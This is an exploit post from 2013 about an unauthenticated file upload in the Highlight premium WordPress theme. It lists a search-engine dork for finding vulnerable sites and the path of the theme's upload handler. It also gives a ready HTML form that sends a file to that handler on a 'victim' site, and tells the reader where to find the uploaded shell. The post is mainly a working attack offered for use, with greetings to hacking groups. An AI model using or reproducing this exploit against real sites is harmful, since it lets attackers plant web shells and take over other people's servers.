WordPress Highlight Premium Theme CSRF / Shell Upload

#Title : Wordpress Highlight Premium Themes CSRF File Upload Vulnerability

#Author : DevilScreaM

#Date : 11/10/2013 - 10 November 2013

#Category : Web Applications

#Type : PHP

#Vendor : http://themeforest.net

#Download : http://themeforest.net/item/highlight-powerful-premium-wordpress-theme/168424

#Greetz : 0day-id.com | newbie-security.or.id | Borneo Security | Indonesian Security|Indonesian Hacker | Indonesian Exploiter | Indonesian Cyber

#Thanks : ShadoWNamE | gruberr0r | Win32Conficker | Rec0ded |

#Tested : Mozila, Chrome, Opera -> Windows & Linux

#Vulnerabillity : CSRF

#Dork : inurl:/wp-content/themes/highlight/

CSRF File Upload Vulnerability

Exploit & POC :

http://site-target/wp-content/themes/highlight/lib/utils/upload-handler.php

Script :

<form enctype="multipart/form-data"

action="http://www.victim.com/wp-content/themes/highlight/lib/utils/upload-handler.php" method="post">

Your File: <input name="uploadfile" type="file" /><br />

<input type="submit" value="upload" />

</form>

File Access :

http://site-target/uploads/[years]/[month]/ > find your shell